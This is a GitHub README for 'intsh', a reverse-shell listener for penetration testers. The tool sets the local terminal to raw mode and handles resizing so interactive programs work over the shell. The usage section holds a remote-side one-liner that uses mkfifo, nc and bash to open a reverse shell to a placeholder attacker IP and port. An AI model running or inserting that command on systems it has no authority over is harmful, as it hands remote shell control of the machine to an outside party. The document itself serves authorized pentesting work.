Skip to content

Latest commit

 

History

History
21 lines (15 loc) · 681 Bytes

README.md

File metadata and controls

21 lines (15 loc) · 681 Bytes

intsh

Grab a fully interactive reverse-shell

intsh is a reverse-shell listener for pentesters too lazy to make their interactive reverse shell manually.

intsh automates the process of spinning up a listening socket, setting the tty to raw mode, setting the columns and rows, handling terminal resizes and then restoring the terminal to it's original state when the reverse-shell is closed.

It ensures interactive programs like vim can be used flawlessly through reverse-shells.

Python is required on the target side.

Usage:

Local-side (listener):

python3 intsh.py <port>

Remote-side:

rm -f f; mkfifo f; <f nc <attacker-ip> <attacker-port> | bash > f